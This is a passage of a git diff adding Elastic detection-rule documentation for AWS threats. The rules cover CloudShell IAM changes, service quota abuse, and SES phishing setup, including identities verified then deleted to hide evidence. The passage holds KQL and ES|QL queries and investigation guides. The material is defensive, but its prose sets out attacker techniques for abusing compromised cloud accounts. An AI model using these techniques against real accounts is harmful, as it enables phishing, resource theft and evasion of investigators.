for users who regularly use CloudShell. +- Infrastructure automation testing may involve CloudShell for quick validation. Verify with the user. + + + +*Response and remediation* + + +- If unauthorized, immediately terminate the console session and revoke any created credentials. +- Rotate credentials for any IAM users or roles that may have been compromised. +- Review and remove any unauthorized users, access keys, roles, or policy attachments. +- Consider restricting CloudShell access via SCPs or IAM policies for sensitive accounts. +- Implement session duration limits to reduce the window of opportunity for console session abuse. + + +*Additional information* + + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "iam.amazonaws.com" + and event.action: ( + "CreateAccessKey" or + "CreateUser" or + "AttachUserPolicy" or + "PutUserPolicy" or + "CreateRole" or + "AttachRolePolicy" or + "PutRolePolicy" or + "CreateInstanceProfile" or + "AddRoleToInstanceProfile" + ) + and event.outcome: "success" + and user_agent.original: *CloudShell* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ +* Technique: +** Name: Create Account +** ID: T1136 +** Reference URL: https://attack.mitre.org/techniques/T1136/ +* Sub-technique: +** Name: Cloud Account +** ID: T1136.003 +** Reference URL: https://attack.mitre.org/techniques/T1136/003/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-service-quota-increase-requested-by-rare-identity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-service-quota-increase-requested-by-rare-identity.asciidoc new file mode 100644 index 0000000000..4fee6c5dab --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-service-quota-increase-requested-by-rare-identity.asciidoc @@ -0,0 +1,107 @@ +[[prebuilt-rule-8-19-34-aws-service-quota-increase-requested-by-rare-identity]] +=== AWS Service Quota Increase Requested by Rare Identity + +Detects the first time an AWS identity requests a service quota increase via the AWS Service Quotas API within a 7-day history window. Service quota increases are submitted to AWS Support and, when approved, raise the limits on EC2 instances, Lambda concurrency, VPC resources, and other services. An adversary who obtains AWS credentials may request quota increases as infrastructure preparation for large-scale cryptomining, DDoS amplification, phishing campaigns, or data exfiltration operations that require compute or network resources beyond the account's current limits. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/servicequotas/2019-06-24/apireference/API_RequestServiceQuotaIncrease.html +* https://www.rapid7.com/blog/post/dr-threat-actors-aws-workmail-phishing-campaigns/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS Service Quotas +* Rule Type: New Terms +* Tactic: Resource Development +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Service Quota Increase Requested by Rare Identity* + + +AWS Service Quotas (formerly Service Limits) cap how many resources of each type an account can create. Default limits exist to prevent accidental runaway provisioning, but an adversary who requests an increase can scale operations far beyond what the default limits allow: requesting 1000 EC2 On-Demand vCPUs enables cryptomining at industrial scale; requesting higher SES sending limits enables large-scale phishing campaigns; requesting higher Lambda concurrency enables large-scale credential-stuffing operations. + + +*Possible investigation steps* + + +- Identify the caller from aws.cloudtrail.user_identity.arn and user.name. +- Review aws.cloudtrail.request_parameters for the serviceCode (which AWS service), the quotaCode (which specific limit), and the requested value. +- Determine whether the requested quota increase aligns with a known infrastructure project. +- Check whether the same identity has recently created resources in the service being scaled (EC2 RunInstances, Lambda CreateFunction, SES SendEmail). +- Review whether this is the first quota increase request for this service from this identity or a continuation of a known capacity planning effort. + + +*Response and remediation* + + +- If unauthorized, submit a cancellation request to AWS Support for the quota increase. +- Revoke active sessions for the requesting identity. +- Apply an SCP restricting servicequotas:RequestServiceQuotaIncrease to approved cloud-operations roles that require prior approval. + + +==== Setup + + +The AWS integration must be ingesting management events into `logs-aws.cloudtrail-*`. Service Quotas management events are logged by default. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "servicequotas.amazonaws.com" + and event.action: "RequestServiceQuotaIncrease" + and event.outcome: "success" + and not user_agent.original: (*Terraform* or *Pulumi* or *Ansible* or "cloudformation.amazonaws.com") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Resource Development +** ID: TA0042 +** Reference URL: https://attack.mitre.org/tactics/TA0042/ +* Technique: +** Name: Acquire Infrastructure +** ID: T1583 +** Reference URL: https://attack.mitre.org/techniques/T1583/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-service-quotas-multi-region-getservicequota-requests.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-service-quotas-multi-region-getservicequota-requests.asciidoc new file mode 100644 index 0000000000..9b13844125 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-service-quotas-multi-region-getservicequota-requests.asciidoc @@ -0,0 +1,183 @@ +[[prebuilt-rule-8-19-34-aws-service-quotas-multi-region-getservicequota-requests]] +=== AWS Service Quotas Multi-Region GetServiceQuota Requests + +Identifies when a single AWS principal makes GetServiceQuota API calls for the EC2 service quota L-1216C47A, across more than 10 AWS regions within a 30-second window. This quota represents the vCPU limit for on-demand EC2 instances. Adversaries commonly enumerate this quota across regions to assess capacity for large-scale instance deployment, including cryptocurrency mining, malware hosting, or command-and-control infrastructure. This behavior may indicate cloud infrastructure discovery using compromised credentials or a compromised workload. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.sentinelone.com/labs/exploring-fbot-python-based-malware-targeting-cloud-and-payment-services/ +* https://docs.aws.amazon.com/servicequotas/2019-06-24/apireference/API_GetServiceQuota.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS Service Quotas +* Use Case: Threat Detection +* Tactic: Discovery +* Resources: Investigation Guide +* Noise: High +* Performance: Fast +* Profile: Aggressive +* Rule Type: ES|QL +* Platform: AWS + +*Version*: 12 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Service Quotas Multi-Region GetServiceQuota Requests* + + +AWS Service Quotas define usage limits for AWS services and are commonly referenced during capacity planning or automation. However, adversaries frequently enumerate EC2 on-demand instance quotas across many regions to identify where they can rapidly deploy compute resources for malicious purposes such as cryptocurrency mining, botnet hosting, or malware staging. This rule detects unusually fast, multi-region enumeration of the EC2 on-demand vCPU quota (`L-1216C47A`), a pattern that is uncommon for normal administrative activity and strongly associated with cloud infrastructure discovery. + + +*Possible investigation steps* + + +**Identify the actor** +- Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to determine whether the requests originated from an IAM user, role, or assumed role. Validate whether this principal is expected to perform quota discovery or capacity analysis across many regions. + +**Evaluate the scope of discovery** +- Review the `cloud.region` values to determine which regions were queried and whether they align with regions normally used by your organization. Rapid enumeration of rarely used or disabled regions increases suspicion. + +**Inspect request origin and tooling** +- Review `source.ip`, `source.as.organization.name`, and `user_agent.original` to determine whether the activity originated from a trusted corporate network, known cloud automation environment, or an unexpected hosting provider or VPN. +- Unexpected user agents or hosting providers may indicate compromised credentials or an attacker-controlled instance. + +**Correlate with follow-on activity** +- Search for subsequent EC2-related actions such as `RunInstances`, `RequestSpotInstances`, `CreateLaunchTemplate`, or `ModifyInstanceAttribute` following the quota discovery. +- Review recent IAM activity for the same principal, including access key creation, role assumptions, or policy changes. + +**Assess intent and risk** +- Determine whether this activity aligns with a known operational task (capacity planning, onboarding, automation testing), or whether it represents unexplained reconnaissance behavior. +- If the principal is newly created, rarely used, or exhibiting other anomalous behavior, treat this as high risk. + + +*False positive analysis* + +- Multi-region quota discovery may be legitimate in organizations with global deployments, centralized cloud governance, or automated capacity monitoring. +- Infrastructure-as-code pipelines, quota management tools, or internal cloud platforms may periodically enumerate quotas. + + +*Response and remediation* + +- If the activity is unauthorized or suspicious, immediately rotate or disable access keys associated with the principal and revoke active sessions. +- Review CloudTrail activity for evidence of follow-on abuse, particularly EC2 instance launches, network changes, or IAM modifications. +- Apply tighter IAM permissions to restrict access to Service Quotas APIs where not explicitly required. +- Enforce MFA on IAM users and consider conditional access controls (such as source IP or VPC restrictions) for sensitive roles. +- Notify security operations and cloud platform teams to assess potential impact and determine whether containment actions (such as SCP enforcement or account isolation) are required. +- Update detection coverage to monitor for EC2 provisioning attempts following quota discovery to catch resource abuse early. + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]** + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-aws.cloudtrail-* METADATA _id, _version, _index + +// filter for GetServiceQuota API calls +| where + data_stream.dataset == "aws.cloudtrail" + and event.provider == "servicequotas.amazonaws.com" + and event.action == "GetServiceQuota" + +// truncate the timestamp to a 30-second window +| eval Esql.time_window_date_trunc = date_trunc(30 seconds, @timestamp) + +// dissect request parameters to extract service and quota code +| dissect aws.cloudtrail.request_parameters "{%{?Esql.aws_cloudtrail_request_parameters_service_code_key}=%{Esql.aws_cloudtrail_request_parameters_service_code}, %{?quota_code_key}=%{Esql.aws_cloudtrail_request_parameters_quota_code}}" + +// filter for EC2 service quota L-1216C47A (vCPU on-demand instances) +| where Esql.aws_cloudtrail_request_parameters_service_code == "ec2" and Esql.aws_cloudtrail_request_parameters_quota_code == "L-1216C47A" + +// keep only the relevant fields +| keep + Esql.time_window_date_trunc, + aws.cloudtrail.user_identity.arn, + cloud.region, + Esql.aws_cloudtrail_request_parameters_service_code, + Esql.aws_cloudtrail_request_parameters_quota_code, + aws.cloudtrail.request_parameters, + @timestamp, + aws.cloudtrail.user_identity.type, + aws.cloudtrail.user_identity.access_key_id, + source.ip, + cloud.account.id, + user_agent.original, + source.as.organization.name, + data_stream.namespace + +// count the number of unique regions and total API calls within the time window +| stats + Esql.cloud_region_count_distinct = count_distinct(cloud.region), + Esql.event_count = count(*), + Esql.aws_cloudtrail_request_parameters_values = VALUES(aws.cloudtrail.request_parameters), + Esql.event_timestamp_values = VALUES(@timestamp), + Esql.aws_cloudtrail_user_identity_type_values = VALUES(aws.cloudtrail.user_identity.type), + Esql.aws_cloudtrail_user_identity_access_key_id_values = VALUES(aws.cloudtrail.user_identity.access_key_id), + Esql.source_ip_values = VALUES(source.ip), + Esql.cloud_account_id_values = VALUES(cloud.account.id), + Esql.user_agent_original_values = VALUES(user_agent.original), + Esql.source_as_organization_name_values = VALUES(source.as.organization.name), + Esql.cloud_region_values = VALUES(cloud.region), + Esql.data_stream_namespace_values = VALUES(data_stream.namespace) + by Esql.time_window_date_trunc, aws.cloudtrail.user_identity.arn + +// filter for API calls in more than 10 regions within the 30-second window +| where + Esql.cloud_region_count_distinct >= 10 + and Esql.event_count >= 10 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Cloud Service Discovery +** ID: T1526 +** Reference URL: https://attack.mitre.org/techniques/T1526/ +* Technique: +** Name: Cloud Infrastructure Discovery +** ID: T1580 +** Reference URL: https://attack.mitre.org/techniques/T1580/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ses-account-email-sending-enabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ses-account-email-sending-enabled.asciidoc new file mode 100644 index 0000000000..3979fa3c9d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ses-account-email-sending-enabled.asciidoc @@ -0,0 +1,117 @@ +[[prebuilt-rule-8-19-34-aws-ses-account-email-sending-enabled]] +=== AWS SES Account Email Sending Enabled + +Detects when account-level email sending is explicitly enabled in Amazon SES, via the v1 UpdateAccountSendingEnabled API with Enabled: true or the v2 PutAccountSendingAttributes API with SendingEnabled: true. Account-level sending is commonly paused by an administrator, or by automation wired to CloudWatch reputation alarms when bounce or complaint rates rise. An attacker who compromises an AWS account may re-enable sending to restore a paused capability as part of phishing infrastructure setup, allowing bulk email under the victim organization's trusted sending domain. Neither API can resume sending that AWS itself has paused. + +*Rule type*: query + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/ses/latest/APIReference/API_UpdateAccountSendingEnabled.html +* https://docs.aws.amazon.com/ses/latest/APIReference-V2/API_PutAccountSendingAttributes.html +* https://permiso.io/blog/s/aws-ses-pionage-detecting-ses-abuse/ +* https://www.rapid7.com/blog/post/dr-threat-actors-aws-workmail-phishing-campaigns/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS SES +* Rule Type: Custom Query (KQL) +* Tactic: Resource Development +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS SES Account Email Sending Enabled* + + +ses:UpdateAccountSendingEnabled (v1) and ses:PutAccountSendingAttributes (v2) both control whether the entire AWS account can send email in the current region, and both log under event.provider ses.amazonaws.com, so a caller can reach the same outcome through either API version. Enabling account-level sending is a one-step action that lifts a pause set by an administrator or by CloudWatch-driven automation. Per the v2 documentation neither API can resume sending that AWS has paused, so this is not a path out of an AWS enforcement action. In normal operations these APIs are rarely called. An attacker with SES permissions may call either one to restore paused sending capability, or to enable sending in a region where it was not previously active. + + +*Possible investigation steps* + + +- Identify the caller in aws.cloudtrail.user_identity.arn and user.name. Determine whether this is a known SES administrator or an anomalous identity. +- Verify whether account-level sending was previously disabled (ses:GetAccountSendingEnabled in v1, or ses:GetAccount returning SendingEnabled false in v2) and cross-reference prior CloudTrail events for both APIs. +- Query CloudTrail for co-occurring events from the same identity: IAM privilege escalation (AttachUserPolicy, AttachRolePolicy), SES identity creation (VerifyEmailIdentity, CreateEmailIdentity), or SES template/suppression-list manipulation. +- Check the account's SES sending statistics for any unusual spike in sent email volume following this event. +- Determine whether this corresponds to a legitimate remediation of a bounce/complaint rate issue with a change management ticket. + + +*False positive analysis* + + +- Legitimate SES operations teams re-enabling sending after a planned suspension will trigger this rule. These events are rare; validate against change records. + + +*Response and remediation* + + +- If unauthorized, disable account-level sending immediately via ses:UpdateAccountSendingEnabled with Enabled: false, or ses:PutAccountSendingAttributes with SendingEnabled: false. +- Revoke active sessions for the calling identity. +- Review SES send statistics for unauthorized email activity during the enabled window. +- Check all SES email identities and sending authorization policies for unauthorized entries. + + +==== Setup + + +The AWS integration must be ingesting management events into `logs-aws.cloudtrail-*`. No additional data event selectors are required — `ses:UpdateAccountSendingEnabled` and `ses:PutAccountSendingAttributes` are management-plane APIs logged by default. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "ses.amazonaws.com" + and event.action: ("UpdateAccountSendingEnabled" or "PutAccountSendingAttributes") + and event.outcome: "success" + and aws.cloudtrail.request_parameters: (*enabled=true* or *Enabled=true*) + and not user_agent.original: (*Terraform* or *terraform* or *Pulumi* or *pulumi* or *Ansible* or "batch.amazonaws.com" or "cloudformation.amazonaws.com") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Resource Development +** ID: TA0042 +** Reference URL: https://attack.mitre.org/tactics/TA0042/ +* Technique: +** Name: Stage Capabilities +** ID: T1608 +** Reference URL: https://attack.mitre.org/techniques/T1608/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ses-email-identity-verified-then-deleted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ses-email-identity-verified-then-deleted.asciidoc new file mode 100644 index 0000000000..0b2b4f3caf --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ses-email-identity-verified-then-deleted.asciidoc @@ -0,0 +1,137 @@ +[[prebuilt-rule-8-19-34-aws-ses-email-identity-verified-then-deleted]] +=== AWS SES Email Identity Verified Then Deleted + +Detects an SES email identity being verified and subsequently deleted within a 30-minute window, performed by the same AWS identity. Amazon SES requires email addresses and domains to be verified before they can be used as senders. An adversary who obtains SES credentials may verify a domain or address they control, use it to send phishing or spam email, then delete the identity to remove evidence of the sending domain from the account's verified identity list. This verify-use-delete pattern is a recognized attacker technique for SES abuse. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 30m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/ses/latest/APIReference/API_VerifyEmailIdentity.html +* https://docs.aws.amazon.com/ses/latest/APIReference/API_DeleteIdentity.html +* https://permiso.io/blog/s/aws-ses-pionage-detecting-ses-abuse/ + +*Tags*: + +* Domain: Cloud +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS SES +* Rule Type: ES|QL +* Tactic: Resource Development +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS SES Email Identity Verified Then Deleted* + + +Amazon SES requires that email addresses and domains be verified (via DNS record or a verification email) before they can be used as `From:` addresses. An adversary who obtains SES write credentials can verify a domain they control, send bulk email from that domain using the victim account's sending quota and reputation, then delete the identity to hide the sending domain from security reviews. + +The verify-then-delete sequence is the evidence-destruction component of the SES phishing technique: it removes the compromised identity from `ListIdentities` output, making post-incident attribution harder. + +This is an ES|QL rule that aggregates SES verification and deletion events per calling identity within 30-minute windows and alerts when the same identity performed both, with the verification preceding the deletion. + + +*Possible investigation steps* + + +- Identify the caller from `aws.cloudtrail.user_identity.arn` and the aggregated `user_names` column. +- Pivot to the raw CloudTrail events for this ARN in the `first_verify` to `last_delete` time range to determine the verified identity from the `VerifyEmailIdentity` or `VerifyDomainIdentity` request parameters and the deleted identity from the `DeleteIdentity` request parameters. +- Query SES `SendEmail` / `SendRawEmail` CloudTrail events (if CloudTrail management events are being collected) or SES sending statistics between the verification and deletion timestamps to determine whether email was sent from the verified identity. +- Check your email service provider's delivery logs for any email sourced from the SES identity. +- Review all SES actions taken by this identity in the surrounding time window. + + +*Response and remediation* + + +- If unauthorized email was sent, notify affected recipients and file an SES abuse report. +- Rotate all IAM credentials that had SES write access during the incident window. +- Enable SES sending quotas and alerts to detect unusual send volume in real time. +- Restrict `ses:VerifyEmailIdentity`, `ses:VerifyDomainIdentity`, and `ses:DeleteIdentity` to a dedicated SES-management role via IAM policy. + + +==== Setup + + +The AWS integration must be ingesting management events into `logs-aws.cloudtrail-*`. SES management APIs are logged by default. + +==== Rule query + + +[source, js] +---------------------------------- +from logs-aws.cloudtrail-* metadata _id, _version, _index +| where data_stream.dataset == "aws.cloudtrail" + and event.provider == "ses.amazonaws.com" + and event.action in ("VerifyEmailIdentity", "VerifyDomainIdentity", "VerifyEmailAddress", "VerifyDomainDkim", "DeleteIdentity") + and event.outcome == "success" + and aws.cloudtrail.user_identity.arn is not null +| eval Esql.ses_verify_flag = case(event.action != "DeleteIdentity", 1, 0), + Esql.ses_delete_flag = case(event.action == "DeleteIdentity", 1, 0) +| stats Esql.ses_verify_count = sum(Esql.ses_verify_flag), + Esql.ses_delete_count = sum(Esql.ses_delete_flag), + Esql.ses_verify_timestamp_min = min(case(Esql.ses_verify_flag == 1, @timestamp)), + Esql.ses_delete_timestamp_max = max(case(Esql.ses_delete_flag == 1, @timestamp)), + Esql.event_action_values = values(event.action), + Esql_priv.user_name_values = values(user.name), + Esql.cloud_account_id_values = values(cloud.account.id) + by aws.cloudtrail.user_identity.arn +| where Esql.ses_verify_count > 0 and Esql.ses_delete_count > 0 + and Esql.ses_verify_timestamp_min < Esql.ses_delete_timestamp_max + and date_diff("minutes", Esql.ses_verify_timestamp_min, Esql.ses_delete_timestamp_max) <= 30 +| keep aws.cloudtrail.user_identity.arn, Esql.ses_verify_count, Esql.ses_delete_count, Esql.ses_verify_timestamp_min, Esql.ses_delete_timestamp_max, Esql.event_action_values, Esql_priv.user_name_values, Esql.cloud_account_id_values + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Resource Development +** ID: TA0042 +** Reference URL: https://attack.mitre.org/tactics/TA0042/ +* Technique: +** Name: Acquire Infrastructure +** ID: T1583 +** Reference URL: https://attack.mitre.org/techniques/T1583/ +* Sub-technique: +** Name: Domains +** ID: T1583.001 +** Reference URL: https://attack.mitre.org/techniques/T1583/001/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indicator Removal +** ID: T1070 +** Reference URL: https://attack.mitre.org/techniques/T1070/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ses-enumeration-via-long-term-access-key.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ses-enumeration-via-long-term-access-key.asciidoc new file mode 100644 index 0000000000..73e3921a64 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ses-enumeration-via-long-term-access-key.asciidoc @@ -0,0 +1,119 @@ +[[prebuilt-rule-8-19-34-aws-ses-enumeration-via-long-term-access-key]] +=== AWS SES Enumeration via Long-Term Access Key + +Detects enumeration of Amazon Simple Email Service (SES) resources using long-term IAM access keys (AKIA* prefix). Long-term access keys are associated with IAM users and are the credential type most commonly exfiltrated from repositories, configuration files, and environment variables. An adversary who obtains a long-term key may enumerate SES to discover verified email identities, sending quotas, and DKIM/MAIL FROM domain configurations as a precursor to phishing or spam campaigns launched from the compromised account's verified domains. + +*Rule type*: query + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/ses/latest/APIReference/API_ListIdentities.html +* https://permiso.io/blog/s/aws-ses-pionage-detecting-ses-abuse/ +* https://stratus-red-team.cloud/attack-techniques/AWS/aws.discovery.ses-enumerate/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS SES +* Rule Type: Custom Query (KQL) +* Tactic: Discovery +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS SES Enumeration via Long-Term Access Key* + + +Amazon SES verified identities (email addresses and domains) are the sending credentials that allow SES to send email on behalf of a domain. Adversaries who exfiltrate long-term IAM keys may enumerate SES to identify available verified domains for phishing, discover DKIM configurations, or check sending limits before launching a bulk email campaign. + +Long-term keys (AKIA* prefix) are lower-security than assumed-role credentials: they do not expire and are frequently exposed in source code, .env files, CI/CD configuration, and developer workstations. This makes them the most common compromised credential type in cloud environments. + + +*Possible investigation steps* + + +- Identify the IAM user behind the long-term key from aws.cloudtrail.user_identity.arn. +- Check whether this access key has been rotated recently (GetAccessKeyLastUsed, ListAccessKeys). Confirm the user who owns the key initiated this activity. +- Review source.ip and source.as.organization.name against known developer or automation infrastructure. API calls from unexpected geographies using a long-term key are high-risk. +- Query CloudTrail for subsequent SES write operations (SendEmail, SendRawEmail, VerifyEmailIdentity, UpdateAccountSendingEnabled) using the same access key. +- Check GitHub, GitLab, and CI/CD logs for any public exposure of this key. + + +*Response and remediation* + + +- Immediately deactivate the long-term access key (UpdateAccessKey --status Inactive). +- Rotate all credentials associated with the IAM user. +- Review all SES quotas and sending history to determine whether unauthorized email was sent. +- Migrate automation that used this key to IAM roles with short-lived assumed-role credentials. + + +==== Setup + + +The AWS integration must be ingesting management events into `logs-aws.cloudtrail-*`. SES management APIs are logged by default. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "ses.amazonaws.com" + and event.action: ( + "ListIdentities" or + "GetAccountSendingEnabled" or + "GetSendQuota" or + "ListEmailIdentities" or + "GetEmailIdentity" or + "DescribeActiveReceiptRuleSet" or + "ListReceiptRuleSets" + ) + and event.outcome: "success" + and aws.cloudtrail.user_identity.access_key_id: AKIA* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Cloud Service Discovery +** ID: T1526 +** Reference URL: https://attack.mitre.org/techniques/T1526/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ses-full-access-policy-attached-to-iam-entity-by-unusual-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ses-full-access-policy-attached-to-iam-entity-by-unusual-user.asciidoc new file mode 100644 index 0000000000..42eaed44fe --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ses-full-access-policy-attached-to-iam-entity-by-unusual-user.asciidoc @@ -0,0 +1,131 @@ +[[prebuilt-rule-8-19-34-aws-ses-full-access-policy-attached-to-iam-entity-by-unusual-user]] +=== AWS SES Full Access Policy Attached to IAM Entity by Unusual User + +Detects the first occurrence in 7 days of an AWS identity attaching the managed policy AmazonSESFullAccess to an IAM user, role, or group. AmazonSESFullAccess grants unrestricted permission to send email, manage identities and templates, manage suppression lists, and access SES account-level settings. Granting this policy to an unexpected IAM entity, particularly a newly created user or a role not previously associated with email operations, is a documented technique used by threat actors to establish phishing infrastructure on compromised AWS accounts, enabling them to send email on behalf of the victim organization's trusted sending domain. Using new terms on the calling identity suppresses recurring attachments by known email automation while surfacing identities performing this action for the first time. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/ses/latest/dg/control-user-access.html + +*Tags*: + +* Domain: Cloud +* Platform: AWS +* Data Source: AWS +* Data Source: Amazon Web Services +* Service: AWS IAM +* Service: AWS SES +* Rule Type: New Terms +* Tactic: Persistence +* Tactic: Resource Development +* Resources: Investigation Guide +* Data Source: AWS CloudTrail + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS SES Full Access Policy Attached to IAM Entity by Unusual User* + + +AWS Simple Email Service (SES) is a cost-effective bulk email platform with a reputation built on a customer's verified sending domains. Threat actors who compromise an AWS account often establish phishing infrastructure by granting SES access to a new or existing IAM identity and then using that identity's credentials to send phishing emails under the victim organization's trusted domain. Attaching the managed policy `AmazonSESFullAccess` is the simplest way to grant the full range of SES capabilities (send, manage identities, manage suppression lists, configure sending settings). + +This is a new terms rule that alerts only when the calling identity (`aws.cloudtrail.user_identity.arn`) has not attached this policy within the previous 7 days, prioritizing 